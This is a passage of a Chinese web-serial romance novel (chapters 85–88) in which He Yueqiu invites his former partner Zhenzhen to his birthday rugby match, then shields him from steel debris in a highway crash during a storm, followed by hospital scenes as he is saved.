甄甄站起身,甩着手上的水珠走过来,白皙的皮肤在绿叶的反光下衬得清透明亮,身后是一层层翻涌成浪的绿叶,托着他,让他像一只蝴蝶般融化在这片绿海中。 甄甄走到石桌边,贺越邱抬起头,眼睛如同一对磁铁般紧紧跟随着他,等他坐下后,鼓起勇气从上衣兜里拿出一张橄榄球赛的门票。 他看着甄甄的眼睛,那双琥珀色的瞳孔浮动着糖果似的光泽,忽然无端地有些紧张:“明天是我生日,刚好俱乐部里有一场娱乐赛,我想邀请你来看,你……来吗?” 出乎意料的,甄甄很爽快地就接过了那张门票,还有些奇怪地反问道:“去啊?为什么不去?你以前带我去打过橄榄球,看一群人撞来撞去挺好玩的,反正又不用我自己掏钱买票。” 贺越邱怔住,“我还以为……” “以为什么?” “没什么。”贺越邱笑了笑,心想自己又在庸人勿扰,他担心甄甄会因为自己的生日和橄榄球相关元素想起那些不好的回忆,但显然对方根本就不在意。 目的明明达成了,贺越邱却不知道怎么的,眼里闪过一丝失落。 甄甄没注意到这些,拿着门票翻来覆去地看:“你是参赛选手的话,这种票的位置肯定很好吧?” 贺越邱提起精神,笑道:“裁判的视野有多好,你在的位置视野就有多好。” 甄甄高兴的尖叫一声,又问:“那我能不能再要一张?哦不,两张!” 贺越邱的嘴角慢慢向下:“除了小张,你还想邀请谁?” “戴维啊!明天周六,他又不上班,我们本来就约好要出去玩的。” 贺越邱还是不高兴,但听见那个黄毛的名字,总比听见什么方寸行、贺过岭之流好多了。 他勉强点头:“好吧,没有第四个人。” 晚上,贺越邱回到甄甄以前租的那套小院子,洗漱完躺在床上想起白天的邀请、那张送出去的门票,心情久久不能平静。 去年生日时甄甄因为他生了一场很大的病,他们之间闹得那么难看,往年一定会隆重庆祝的两个人彼此的生日就这么无声无息地被痛苦、偏执和伤害吞噬,谁都没有记得这一回事,连那份漂洋过海的礼物也被遗忘在某个积灰的货仓里。 在这段感情走到无可挽回的绝境时,那件代表了最浓烈爱意的球服,偏偏才姗姗来迟地被送到他手里,提醒着他,你究竟都错过和弄丢了些什么。 贺越邱再回想起来,心脏依旧会疼得呼吸不过来,又痛苦、又讽刺,让他明白这时间的阴差阳错莫过于此。 一年过去,时间冲淡了很多,只是那道突然裂开的沟壑始终无法填平,而且好像越来越深、越来越宽,贺越邱每每想要拼尽力气跨过去,却都因为对岸的那个人而屡次失败。 但他不会放弃。总有一天,他会让甄甄重新回到自己身边。 过了今晚凌晨,贺越邱二十九岁,和小六岁的甄甄比起来,他不算太年轻,但他的人生还有很长的几十年,他早已决定要将这一辈子所有的爱都送给那个曾被自己辜负的人。 他让甄甄接受过自己一次,就能让他再接受第二次。他相信,没有人会比他对甄甄更好。 抱着对明日赛场上听见甄甄为自己欢呼的期待,贺越邱强按下心底的万千情绪,不再多想,闭上眼休息。 晨起,收拾完毕出门前,贺越邱撕下被打了红圈的这张日历。 六月二十七,是个晴空万里、风轻云淡的好日子。 露天球场内,橄榄球的爱好者们已经早早抵达,和同伴热烈地讨论着今天的两支球队,一些在圈内稍有名气的球员名字更是频繁被提及。 甄甄带着小张、戴维从入口处挤到正中间的第一排,短短两三分钟里听到了不下四次有关贺越邱的话题。 “贺总这都快一年没打过这些比赛了吧?怎么今天有兴致出席?” “咳咳,听有他微信的球员朋友说,他以前天天在朋友圈更新他和对象的动态,但去年生日之后就基本再也没发过了,估计是和对象分手受了情伤,连以前最喜欢的兴趣都顾不上了吧。” “贺总虽说只是玩票,但实际水平比一些职业的还强,不管他图什么才来参加这场友谊赛,今天这场比赛的门票都花得值了。” “咦?刚刚过去的那个男生我好眼熟,感觉以前打球时远远见过。” “少来!你是看人家漂亮才满嘴跑火车吧,就那细腰细腿细胳膊的样儿,我一只手就能给他按地上,他能去打橄榄球?” 甄甄听他们的话题从贺越邱转移到自己身上,赶紧加快速度,后面的两个人一路追赶他,等挤到位置上后,一个个早就气喘吁吁了。 “你们不行啊,一个吃太多了虚胖,一个坐办公室亚健康,就挤这么几步路就不行了,还是得学贺越邱多练练,看他那一身腱子肉,起码还能活蹦乱跳地再活七十年。”甄甄也是被挤人群得满头大汗,张大嘴呼吸着新鲜空气。 戴维算了一下,一个劲摇头:“你这是内涵还是夸他?三十岁的老男人再活七十年那不就长命百岁了吗?你要帮他祸害遗千年?” 甄甄还没来得及说话,他旁边一个戴着遮阳帽和墨镜的高个子男人却突然开口:“千年王八万年龟,贺越邱是龟孙,活个一千年正好。” “方寸行?” “表哥!” 甄甄和戴维同时喊出声。 小张看来看去,不知道该怎么叫,索性结合了一下:“Cousin方!” 周围人纷纷侧目,甄甄和戴维更是投来鄙视的目光。 方寸行听见甄甄喊他,嘴角缓缓扬起一个完美的弧度,正要答应,骤然听见这么一声,明朗得马上就要孔雀开屏的脸色瞬间黑了下来。 第86章 第 86 章 签名。 甄甄:“你也来看你的好兄弟打球?” 方寸行脸色更黑:“喜欢这项运动而已。我跟他只是有生意上的合作, 私底下不熟。” 这话甄甄在贺越邱嘴里也听过,他表面开朗又可爱地呵呵笑了两声,转头小声嘀咕道:“塑料兄弟。” 说了没几句话, 热情明媚的拉拉队出来跳完开场舞, 双方队员就在主持人的介绍下从两边鱼贯而出。 贺越邱作为四分卫, 队伍的指挥大脑, 排在第一个出场。 观众席喊声震天, 吹哨鼓掌,气氛热烈。 在四面八方如潮水般涌来的欢呼声中,钢盔下一双野兽般凶猛锐利的眼睛正睖巡着四周,最终锁定了正前方那道白色的身影。 一踏上赛场, 踩着脚底下厚实柔软的草皮, 贺越邱心中那头凶兽便完全突破了束缚, 叫嚣着要撕碎一切阻挡在前面的障碍。 他的肌肉充血亢奋, 将绿色的橄榄球服撑出一个堪称恐怖的弧度,像一座将将就要蓬勃喷发的火山。 他的视线太过具有侵略性,甄甄哪怕当时看向的是别处, 也第一时间竖起寒毛,扭头看向来源, 看清楚男人身上穿着的球服时,肉眼可见的愣怔了一下。 哪怕隔得这么远,那一队都是差不多款式的球衣, 但甄甄也能一眼认出, 那是他亲手挑选想要送给贺越邱的礼物。 贺越邱没太多兴趣爱好,甄甄知道他喜欢橄榄球,一开始就想送给他一件他喜欢的又很特此的礼物,在需要实习证明去星火之前就在攒钱。因为不会用国外的软件, 还好声好气地找方寸行帮忙下载,几番周折才找到了购买渠道。 那时他还觉得连老天爷都觉得他这个礼物选得特别好,不然怎么会那么巧,在他想要送给男朋友一件球服时,正好刷到了对方留学时打比赛穿过的,还那么有纪念意义。 那不是一笔小数字,付款时甄甄按着密码的手指都在发抖,看着瞬间少掉一半的存款,他又心疼又开心。哪怕现在,他都还能很清楚地回忆起自己那时的心情。 甄甄没有把这件事告诉过贺越邱,这是他藏在心里的一个甜蜜的小秘密。付完款后的每一天,他都在悄悄期待着它的到来,那是他没有参与过的贺越邱的人生。他把它买下,把那些自己不存在的过往也打上一个烙印,这样无论什么阶段的贺越邱,就都是完全属于自己的。 然而决裂来得比幸福更快,那段浑浑噩噩的日子里,甄甄连贺越邱这个人都想从自己的身体里一刀一刀切割出去,更何况一件球服。他刻意地不让自己记起来,慢慢也就真的忘了。 他曾经幻想过贺越邱收到礼物后会作何反应,分手后却再也没有,他收到、或者这件礼物根本就到不了他手里,后续都已经跟自己无关了。 但直到今天,直到此刻,当甄甄看见贺越邱穿着这身堪称经历坎坷的球衣出现在自己面前时,他忽然就明白了贺越邱为什么要特意选在生日这天邀请自己来看他的球赛。 他抓紧了面前的铁栏杆,风吹来锈蚀的味道,周围热闹得让人心烦。 视线相接的那一瞬间,贺越邱听见心脏剧烈的跳动声,哨向之后如同一颗炮弹般冲了出去,在场上毫无顾忌地横冲直撞。 他在冲锋、发泄、厮杀,也在向心爱的雌兽释放雄性激烈的荷尔蒙,用这样暴力又直观的方式证明自己对胜利和爱情的势在必得。 抛去恋爱滤镜后,甄甄更倾向于和压抑着本性的贺越邱相处。就如他自己所说那般,他是一个再趁手好用不过的工具,拥有着比这世界上绝大多数人都更加开阔前瞻的观察力,洞悉人性的贪婪和弱点,他从小所受到的最顶级的教育、家族几代积攒下来的资源,此类种种造就他在商海纵横风云无往不利。这样的人毫无藏私地教他该怎么完成一个项目时,能学到的东西真的非常多,他一点也不羞耻于占这种便宜。 球场上气场完全外放、毫不遮掩的贺越邱,却是甄甄既害怕又向往的。他拥有着可以轻易摧毁他的力量,他也确实遭受过这种折磨,有些阴影或许这辈子都消除不了。但对于一个自幼失怙失恃、渴望有人能够保护自己的小孩子来说,又本能地希冀着可以躲在这具宽阔有力的身体背后,替自己遮风挡雨、免遭霜雪。 甄甄对贺越邱的感情复杂又纠结到了极点,他有时候看三花玩毛线球反倒被线缠住越挣扎越紧,就仿佛看到了自己。 贺越邱的爱,贺越邱的控制,贺越邱的占有欲,就像这些毛线一样,一根根地缠着他,让他怎么理都理不顺。 他想要剪短那些纠缠在一起的线结,想要理清楚究竟哪根是爱,但挣扎到最后却只能是一团乱麻。他分不清楚,他想估计贺越邱本人也分不清楚。 甄甄出神地看向赛场。 随着贺越邱一次又一次的达阵得分,观众们的情绪也一点点被推上高潮。这是一场完全属于1号绿色橄榄球服四分卫的个人秀,他拿出了所有的力量和技巧,并不恐惧于受伤,只想表演给那个提供给他如此动力的人观赏。 比赛结束后有签名环节,不少同场球员都想找贺越邱签个名,但他摘了头盔却径直向观众席走去,直到在甄甄面前站定。 观众席要高出赛场至少一米,贺越邱仰着头,一只手抓着栏杆,一只手递给甄甄签名笔,叼起球衣下摆,露出流着汗水、起伏呼吸的蜜色腹肌。 观众们大多数都还没走,见状纷纷发出起哄的怪叫声。甄甄还没从贺越邱故意为之的男冲击里回过神,闻言脸颊爆红,只想长出翅膀从四面八方都水泄不通的场馆里飞出去。 “你干什么,你有病啊,赶紧回去!” 甄甄双手捧住脸颊,浑身烫得连指尖都在发抖。 贺越邱咬着衣摆,说话有些含混不清,野性十足地冲甄甄笑了一下,眼神里却又带上一些大型犬科动物让人难以拒绝的祈求:“在这件球衣上签下你的名字,就当做生日礼物送给我吧。求你。” “啊啊啊你能不能别乱来!”甄甄小声尖叫着闭上眼,根本不敢看。 他连胖胖可怜巴巴看着自己吃东西时的眼神都受不了,又怎么可能狠下心在这么多人的围观下拒绝有备而来的贺越邱。 这家伙就是故意的!他很坏! 小张笑得脸都歪了,戴维露出“好恶心”的表情,方寸行面若冰霜。 贺越邱旁若无人,满眼都只有害羞的甄甄,心里痒得厉害,全神贯注地仰视着他。 甄甄被看得没办法,忍着要冒烟的热气,抢过那支签名笔,拽过贺越邱叼着的衣角:“松口!” 衣服布料柔软,即便拉直了也不好写字,笔交一点上去就是一团墨迹。甄甄不敢看其他人,目光集中在眼前的绿色上,但余光瞥到那些激动的模糊人影时还是产生了一种大家都在看着他、急得想哭的羞耻感。 他想赶紧把名签了让贺越邱滚远点儿,可被这么多人看着,他只觉得手都快不是自己的手了,越急,字就写得越是歪歪扭扭。 我为什么要叫甄甄?我的名字笔画怎么这么多! 甄甄只觉得哪里都是问题,他现在又想当小狗了,摇着尾巴悄悄跑掉也不会被发现。 贺越邱看他写得乱七八糟,低声笑起来:“笔画太多了,你签另一个名字吧。” 另一个名字? 甄甄眼睛一亮,刷刷两下,“瓦瓦”大功告成。 他一写完就把笔扔到贺越邱脸上,丢下句“别在公共场合发/情”,转身飞也似地逃走。 贺越邱心情极佳,笑眯眯地看着甄甄落荒而逃的背影,又低下头满足地用拇指轻轻蹭了下衣服上“瓦瓦”两个字,无声默念了几遍。 方寸行等人也实在是看不下去某人在这里开屏,跟着甄甄一起走了。 贺越邱的心早就跟着甄甄一起飞走了,懒得应付凑上来热络的球队经理等人,径直回了更衣室,把身上的球衣脱下来后小心翼翼地收进袋子里,几下冲完凉,就急哄哄地要给甄甄打电话找他。 前两次都被直接挂断了,贺越邱也没生气,又打了第三次。 这次甄甄总算接了,没好气地说:“我在门口的咖啡厅,过来接我。” 就几分钟的时间,手边的咖啡还没凉,贺越邱便抱着一束花过来了。 甄甄抬头一看:“……你闲着没事抱这么大捧玫瑰花干什么?” “送给瓦瓦大王的。”贺越邱放在他的座位边,随即在对面坐下。 伸手不打笑脸人,甄甄本来还想撒撒气,见状也只能说:“你以后能不能别想一出是一出的,知不知道刚刚有多少人在看我?尴尬死了!” “对不起。剧烈运动后肾上腺素分泌得太多,有些控制不住。” 贺越邱这会儿倒是老老实实、低眉顺眼的,没半点儿球场上意气风发的样子,就好像家里犯错后等着受罚的大狗。 甄甄翻篇,拿起还没喝完的咖啡:“小张好不容易放一次假,还要在这附近玩会儿,我让戴维陪着他。我要先回去,你送我。” 贺越邱捡起他不要的花,跟在后面,故意问道:“方寸行呢?” 甄甄停下来瞪他一眼:“你当人家跟你一样闲,整天都围着我转个不停?” 贺越邱不以为耻,反以为荣,语气里甚至带着几分理所当然的骄傲:”我比他更忙,但只要你有需要,我天天都能围着你转。别人都做不到,只有我能。” 甄甄翻了个白眼。 “花言巧语。” 第87章 第 87 章 生死一刻。 贺越邱发动引擎, 同时响起一声惊雷。甄甄诧异地摇下车窗,探头一看,散场前还一碧如洗的天空短短十几分钟里已经阴下去大半, 天边一道摧城压境的乌云气势汹汹地正压过来。 贺越邱拨动着方向盘, 顺着他的视线, 往后视镜里随意看了眼:“要下雨了?” 甄甄点头:“应该是吧, 六月的天小孩的脸, 说下就下说晴就晴。” 贺越邱笑了笑:“挺像你的。” 甄甄威胁地眯起眼:“你又欠抽了是吧?” 贺越邱把脸微微倾向他:“来。“ 甄甄万分嫌弃,“打你都算奖励你!” 他把耳机一戴,谁也不爱:“专心开车!” 球场在二环,算上等红绿灯的时间, 开回救助基地要三个多小时。 但贺越邱一点儿也不累, 就算路上气盛的司机故意别车赛速, 他也不当回事, 按自己的节奏开得稳稳当当的。 只要副驾驶上坐着甄甄,那就比最高浓度的咖啡还提神醒脑。贺越邱能连开三天三夜,从北京开上新疆。 高速上跑到一半, 伴随阵阵惊雷,豆大的雨珠倾盆而下, 被呼啸的大风吹得平移,像被人拿水桶倾倒出去般泼在车和路上,地面的一切都瞬间湿透。 雨水浇出沥青路的热气, 泥土和晒焦的头发味道湿湿黏黏地混合在一起, 向四面八方的雨幕蒸腾,甄甄被冲得鼻子一皱。 挡风玻璃上刚出现第一滴雨点时贺越邱就关上了车窗,凉悠悠的冷风从空调出风口送到甄甄脸上,缓解了他刚刚的湿热。 雨大得很快就淹没了路面, 无处排泄的积水像最湍急的河流般哗哗冲向低洼,雨刮器在这种暴雨中起不到什么作用,雨水成股地从挡风玻璃流下,可见视野仅仅能看清前车车尾。 甄甄微微张大了嘴巴,被雨浇得还有点没回过神:“我从来没见过下得这么大的雨。” 高速路上已经完全堵住了,刺眼的红色尾灯在雨幕中明明灭灭,连绵成一片模糊的红光。贺越邱手搭在方向盘上,轮胎一动不动,偶尔才能往前挪几步。 低沉的男声在狭窄空间里响起,“怕吗?” 甄甄撇撇嘴,攥紧了安全带:“又不是一个人,有什么好怕的。” 贺越邱想起什么,声音里多出浓重的愧疚:“对不起,那天晚上我不应该骗你,明知道你怕黑怕打雷下雨,还是把你丢给了方寸行。” “……行了,都说了我不怕。”甄甄不想继续这个话题,扭头看向水流如注的玻璃窗,避开男人的视线。 贺越邱情不自禁地抬起手,似乎想抚摸他的头发,但刚动了动手指,便像突然惊醒般,针扎似的缩了回去。 狭窄的车厢里安静下来,只有雨点如子弹般击打着铁皮的响声,频率又快又急,听得人心跳也忍不住加快,引起一阵无端的心慌。 瓢泼大雨下是一片缓慢而沉默的车流,在可见视野不足一米的情况下,连最激进的快车党都学会了跟在车屁股后面龟速前进。 甄甄抓着胸前的安全带,表情还算平静,心里早就慌了。而且他总觉得贺越邱其实也不像表现出来这样淡定,只是他性格使然,无论什么情况下都是一副冷静稳重的样子。 余光悄悄打量着男人锋利的侧脸,甄甄不由自主地想,哪怕天真塌下来,只要有他在,好像也能把破了洞的天给撑起来。 虽然甄甄不愿意承认,可潜意识不会骗人,他待在贺越邱身边,就是会比待在其他任何人身边都更有安全感。 最终有惊无险地下了高速,甄甄刚松了口气,下一个转弯他蓦地睁大双眼,暴雨中一辆载着钢材的货卡失控地偏移,直直撞向车头! 距离已经来不及刹车,贺越邱瞳孔一紧,抓紧方向盘,踩死油门,整辆车如同火箭般从暴雨中窜了出去! 没有“减速带”的货车最终承载不住满车钢材的重量,“轰隆”一声巨响侧翻在地,激起一大片水花,车上的钢材如同利箭般射向四面八方。 “别害怕!抓紧扶手!” 贺越邱双臂爆发出超人般的力量,抓着方向盘在漫天爆裂的利刃中左腾右挪,车身在频繁的漂移中失去平衡,摩擦过度的轮胎也抓不住积流成河的湿滑的地面,已经完全失去了方向。如果不是几乎要勒断肋骨的安全带还在起到保护的作用,身轻力弱的甄甄只怕是早已经被狂甩出去了! 相似的场景让幼年深埋的记忆再次被唤醒,甄甄眼神惊恐,四肢僵硬,剧烈地喘着粗气,好像已经完全失了魂魄一般。而当他看见一根尖锐的钢材突破雨幕直冲着自己而来时,双眼拉成恐惧到极致的竖瞳,他躲不开、动不了,浑身都在发冷,耳边环绕着失真的爆炸声和小孩尖利害怕的哭喊。 爸爸……妈妈…… 甄甄努力逃了很多年也还是没有逃过那场车祸,类似的结局反而增添了一抹命运注定的奇幻色彩。一行清泪从眼尾落下,真正面临死亡时,他反而又不害怕了,甚至已经认命般比起双眼,恐慌又平静地等待着死亡的到来。 耳边却在此时忽然响起一声暴喝,一道浑厚有力的男声激动地叫着他的名字,将那个害怕又无助的男孩从已经褪色的一地血腥和残骸中拉回现实。 甄甄下意识地睁开还未闭紧的双眼,下一刻他的眼睛睁到最大,在钢材的尖端势如破竹般击碎防风玻璃、就要扎进他胸口之前,一道他再熟悉不过的身影以最快的速度解开安全带、飞身挡在他身前—— 噗嗤—— 温热的鲜血喷洒在甄甄脸颊上,像男人用带着薄茧的手掌抚摸而过的温度,然而此刻那双手却紧紧地抱住了他,以一个完全保护的姿势,将他牢牢地护在怀中。 呼、呼…… 风声、雨声、雷声、重物落地、撞击……一切的嘈杂都被头顶那道粗重的、渐渐困难的呼吸淹没。 甄甄缓慢地眨动着眼睛,视线下移,最终落在男人插着一根钢材的后背上,那里正汩汩地往外流着鲜血。 他还没有从这场巨大的惊吓回过神来,身体却先意识一步,颤抖地抬起手,似乎想要抚摸那个伤口,却又在距离不到一厘米时停在半空中,似乎不知道该怎么办才好。 温暖又结实的怀抱让僵硬的身体缓缓恢复了温度,冻结的血液也开始缓慢流淌。除了这道粗重的呼吸声外,甄甄渐渐也听见了似乎是来自于自己发出的喘息声,很快、很急,带着哭腔,唤醒了因剧痛而短暂昏迷的贺越邱。 “别……哭……我、我没……事……” 随着贺越邱虚弱的安慰,甄甄丢失的意识慢慢回笼,刚刚的记忆像走马灯一样在他脑海中闪过。 这一切看似漫长,实则从撞车再到逼停,整个过程都不到一分钟。 而生死关头,是贺越邱奋不顾身地救了他。这个曾经伤害过他的男人,却又在他遇到危险的时候不顾一切挺身而出。 甄甄呆呆地抬起手,摸了摸脸,在他自己都不知道的时候,眼泪早已流了满脸。 “为什么……” 甄甄无意识地,喃喃问出了声。 贺越邱因为失血过多,脸色逐渐变得惨白,却调动着全身的力气,努力挤出一个安抚的微笑:“别想、想那么多……只要,只要你没事……没事就好。” 短暂的沉默后,甄甄的哭声陡然变大,连同先前被屏蔽的所有感官都一同回来了。他在嘈杂又安静到极点的暴雨中放声痛哭,近乎失态地喊道:“为什么为什么为什么!你为什么要救我?你知不知道自己留了好多血,你马上就要死了!” “不会……我不会死的……”贺越邱仍旧紧紧地抱着甄甄,任他哭喊,任他失控,他昏涨的大脑中只剩下唯一的指令,就是一定要不惜代价地保护好怀里的人,“我还要……追着你、一辈子……” “别说了!你别说了!” 甄甄颤抖着掏出手机,崩溃到边哭边打急救电话,但心里越急就越拿不稳东西,好几次都差点掉下去。他的指尖剧烈地发着抖,连几个那么简单的数字都几乎花光了全身的力气才终于按对,一接通便哭着喊救命。 接线员一边安慰他,一边问清楚地址:“您先坚持住,我们马上就来!” 甄甄一只手在打电话,一只手反搂住贺越邱的腰,以免他失去身体的控制能力后滑下去,让那截刺进他后背的钢材穿得更深。 甄甄紧挨着贺越邱,感受到他原本火热的体温渐渐地越来越冷,心里的慌乱无法言喻。他不断地跟贺越邱说话,让他不要睡觉,贺越邱也努力地睁开眼睛,抵抗着昏昏欲睡的本能,一个字一个字的回答着。 但渐渐的,贺越邱回应的速度越来越慢,说话也开始谵妄。甄甄急得要发疯了,可他却什么都做不了,这么狭小的副驾驶座挤下两个成年男人,让他哪怕连动都动不了一下! 他清楚地感觉到贺越邱生命的流逝,与此同时,车窗外的雨势不但没有减弱的趋势,反而越下越大,就好像哪里的天上被捅破了一个巨大的窟窿,这些雨水是被人一桶一桶直接倒下来的那样。 甄甄的眼泪和贺越邱的血液混合在一起,流到他嘴里的液体又腥又涩,是他这辈子尝到过最难吃的东西。 他看不见贺越邱的脸,却能感受到他越来越微弱的鼻息,和渐渐放松了力道的怀抱。他好像真的要死了,就死在他自己的生日。 甄甄从来都没有想过贺越邱有一天会死,他的脑海里完全没有这个概念。 这个男人是超出他常识的强壮,拥有一身令所有同性都无比羡慕的健硕又流畅的肌肉,他的身体又是那么的年轻、那么的健康,无论是他的肉/体,还是精神,都正处于一个男人生命中最鼎盛的时期,常常有着过多的精力积攒着无处发泄。在一起四年,哪怕工作强度和压力再大,他都能够默默消化。不要说生病,连疲态都很少显露。 关于这具身体唯一的弱点,非要甄甄说,那或许也只有对宠物过敏。除此之外,简直给人一种草原上的野牛一样攻无不克的恐怖。 甚至连参天巨树、钢筋大楼这样的存在,都完全不能够和贺越邱相提并论,这些东西虽然坚固,可时过境迁,总有一天会倒下。而贺越邱在甄甄心里,就像一座高不可逾的山峰,永远也不会崩塌。 可就是这样一个人,一个在甄甄心中……无所不能的男人,马上就要死在他的怀里了。 甄甄只觉得荒谬,他根本就不敢相信,也不愿意接受这个事实。 贺越邱也会死。 这个认知冲垮了甄甄的心理防线,他甚至对这个说救他就救他、完全不顾救完之后他该怎么办的男人生出几分怨怼,他哭着对贺越邱说:“你凭什么死?你对我做了那么多坏事,说要补偿我,都还没有补偿完,你凭什么说死就死?你要死,怎么不在我最恨你的时候死,偏偏要在我不恨你了的时候死!你不是说过以后都会听我的话吗?你起来,把眼睛睁开,说你那些花言巧语,说你是在骗我,不然我真的要生气了。贺越邱,你听见没有?我让你不准死!” 保护着他的男人没有丝毫反应,脸上血色尽褪,安安静静的,终于不再说那些让他讨厌,下意识就想躲避的话了。 可如果和死比起来,甄甄却宁愿贺越邱继续缠着他烦着他,一辈子也行。 甄甄不知道自己哭了多久,又拽着贺越邱说了多久的话。他总觉得只要自己还在跟贺越邱说话,即便不能回应,但他也一定听到了。也许就是几句话,就能让濒死的人燃起求生的信念,所以他根本不敢停下来。 雨声渐渐小了,急促的急救信号由远及近,和希望一起到来。 但这样的声音在甄甄走投无路的幻觉中已经出现了太多次,他没有力气再抬头去看这次是不是真的。 他紧紧抱住贺越邱,哭了太久的嗓子低沉沙哑,红着眼圈,下定了某种决心。 他神色惊惶疲倦,无力地低下头,贴在贺越邱侧颈,低声道:“只要你活下来……” 第88章 第 88 章 抢救。 车门被急救人员打开, 声音重新回到甄甄的耳朵,打破了他安静到可怕的世界,冻结的血液也在此刻重新开始流动。 最先冲过来的消防队员大吼道:“伤者不能移动, 拿切割机过来!” 和甄甄记忆中穿着差不多的人们涌上来, 有的温声安慰他, 有的开始进行钢材切割, 急切席卷了每个人的表情和话语, 没有人手上敢慢一步。 很吵,很闹,嘴巴张张合合,无数的话语涌入, 甄甄听得到, 昏乱的大脑却根本无法处理这些信息。他像是吓傻了, 又像是伤心过度, 眼神是没有焦距的空洞,维持着拽住贺越邱的动作,一直到贺越邱被医护小心地抬上担架。 甄甄也被一个小护士扶上救护车, 急救医生给贺越邱做最基础的急救处理,他也在同时接受着检查。 小护士收回血压仪, 长长地松了口气:“放心吧,你没有受伤。” 他们都看见了,那个失血昏迷的男人把怀里的男孩抱得死死的, 保护得很好。 贺越邱的情况却不容乐观。 救护车一路绿灯, 以最快的速度把人拉到医院,一刻也不敢耽误地送进了手术室。 甄甄被留在外面。 上一次这样无助地等待着手术结果时,他还小到连在知情书上签字的权利都没有。他没想到快二十年过去,还是只能这样孤零零地在外面等待。 医院里没有笑容, 人来人往,有人痊愈、有人离开、有人还在煎熬,压抑在无声中蔓延,混合着消毒水的味道,入目所及干净又冷清。 贺过岭接到通知,脚步匆匆地赶来。 他作为病人家属需要避嫌,一样只能留在手术室外。但他本来也不是为了里面躺着的那个人才这么着急赶过来,远远地,他焦急的目光就越过人群落在甄甄身上,停顿一下后,加快脚步走了过去。 茉莉花茶的清香顺着热气飘到甄甄鼻腔,他顺着那只戴着手套的手往上看,不知道是不是精神绷得太紧,在看到那张熟悉的脸厚后,竟然恍惚了一下。 “贺……”他猛地回过神,差点就咬到舌尖,“贺医生。” 贺过岭忽略掉那双琥珀瞳孔里一闪而过的恍然,低声安慰道:“没事了,别害怕,喝点热的。” 甄甄接过玻璃杯,但喝不下去,捂在手里,暖流席卷全身,让他紧张的情绪缓解了很多。 他空洞洞地盯着面前的瓷砖,压抑得太久,让他很想说点什么,“我没想到他会毫不犹豫地扑过来……当时连我自己都吓蒙了,浑身都动不了,我以为我会死在那里。” 贺过岭在他身边坐下,轻轻拍着背,用哄小孩子的语气:“你们都得救了,别再一直回想,现在很安全。” 一直忍着不敢流出来的眼泪在此刻决堤,甄甄的眼睛浸泡在泪水里,咬着下唇哭得很小声,可怜又伤心。 “他为什么要拿命救我,他明知道我们本来已经互不亏欠了,没有再继续纠缠下去的可能。可现在我欠他一条命,我怎么狠得下心继续拒绝他?” 贺过岭心里发酸,这在他身上是种不常见的情绪,他自己也说不上来是因为甄甄哭得太难过让他感同身受,还是嫉妒于躺在手术台上命悬一线的亲生兄弟。 他轻拍的手僵硬了一瞬,好在甄甄沉浸在伤心之中,并没有察觉。 他知道甄甄并不是在问自己,也不需要他的答案,所以只是安静地做一个倾听者。 甄甄吸着鼻子,眼眶泛红,泪水糊满雪白的脸颊,抽噎着说:“贺越邱……会不会死?以前在一起的时候,我一直都,都觉得我们两个要是能白头到老,先撒手人寰的肯定是我。我从来都没想过他会死在我前面,我见过亲人离开,知道死是什么,我不怕死,但是我……但是我很怕他比我先死。” “我很自私,”他的哭声越来越大,声音也越来越哽咽,到最后都快呼吸不上来,“我想他送我先走,我就不用难过不用心痛了!可是他比我更过分,他不仅要先死,还要用这种让我亏欠的方式!” 甄甄相信贺越邱救他是因为本能,他知道自己的指控实在是太不讲理、太任性了。 可是甄甄多清楚贺越邱啊。本能只存在那千钧一发,当贺越邱受伤、抱着完好无损的他时,贺越邱想的一定是,从此以后甄甄肯定不会再拒绝他了。 事实也的确如此,甄甄一直反复地向贺越邱说清楚谁亏欠谁、谁不亏欠谁,就是想用这种简单粗暴的方式理清他们之间原本错综复杂的关系。 没有亏欠,心中无愧,两条线清清楚楚,缠不到一块儿去。 但现在甄甄欠了贺越邱一条命,没有办法还清,他大概也只能拿自己还。 贺过岭拉着他,靠在自己肩膀上,陪他等在手术室外。 眼泪无声地打湿了医师服,贺过岭的心脏像被一双无形大手拉扯,痛得他皱紧眉头。 甄甄哭累了,短暂地睡了会儿,但很快又被噩梦惊醒,吓得一睁开眼就看向手术室的滚动字幕,看见“抢救中”三个字,悬在喉口的心脏才稍稍落回去。 贺过岭安慰道:“别怕,我一直盯着。护士中途出来过,她说我哥的生命体征已经稳定下来了。你放心,肯定不会有什么事的。” 甄甄只放心了一半,秀气的眉毛依旧蹙紧在一起,透着淡淡的哀愁。 他怎么都很好看,但贺过岭还是觉得,爱笑爱闹的甄甄更好一些。 又过了两个小时,贺越邱终于被推了出来。甄甄立刻站起身冲过去,看到那些复杂的机器上鲜活跳动的数字和图形时,那颗悬了许久的心终于完全放下。 手术车只停留了一会儿,等贺过岭也检查过后,就被护工推回特护病房。 甄甄让开路,像被拉到极致的弓弦般绷紧太久,现在骤然一松,整个人直接往后一栽,护士连忙去扶,还好贺过岭及时出现在他身后托了一把。 “他怎么样了?”甄甄着急地问。 医生对这个长相秀美的男孩和蔼一笑:“放心吧,就是失血过多,经过抢救,现在已经脱离生命危险了。” “那就好。”甄甄喃喃道。 医生又看向贺过岭,这对兄弟在医院很出名:“我来跟家属汇报下病人具体情况吧。人是救回来了,但伤到肺,多多少少会留下一些后遗症的。贺医生,你要转告病人,让他注意戒烟戒酒。尤其是烟,能不碰就尽量不要再碰了。” 贺过岭无奈道:“戒烟恐怕有点难度……你肯定看过他的肺部CT,他十四岁就在抽了。能不能循序渐进地戒?” 医生断然拒绝:“这两年之内,一口烟都不能再抽。” “好吧。” 甄甄不知道为什么,总觉得贺过岭的语气好像带了点幸灾乐祸,他看向医生,惴惴不安道:“您刚才说后遗症……是哪些?” “这个不能肯定。贺先生毕竟年轻力壮,恢复力很强,也许不会出现这种情况。不过根据以往经验,他也有可能会出现诸如咳嗽、呼吸困难等症状。一般来说年纪越大,这种症状会越严重一些。我曾经有一位患者就是因为肺部受创导致咳疾,经常整夜睡不好觉,家人也会被打扰,导致他不得不独自住在一边,以免影响到家人邻居。” 甄甄张了张嘴,半天说不出来一个字,最后只低着头,很轻地说了个“好”。 但下一刻,医生一句话,他又猛地抬起头,睁大的眼睛里写满震惊。 “不过贺先生最严重的还不是后遗症。”医生对贺过岭说,“贺医生,令兄对宠物过敏,按理说他应该对过敏药的副作用很清楚才是,再不济还能从你这里知道。但他却好像根本不懂一样,服用了超量的过敏药,导致在抢救过程中心脏一度出现休克症状,不然也不会抢救这么久。” 贺过岭这下是真惊讶了,但余光扫过甄甄,再联想到公司的人说贺总经常往郊区跑,又顿时明白了什么。 “我不清楚原因。很严重吗?” 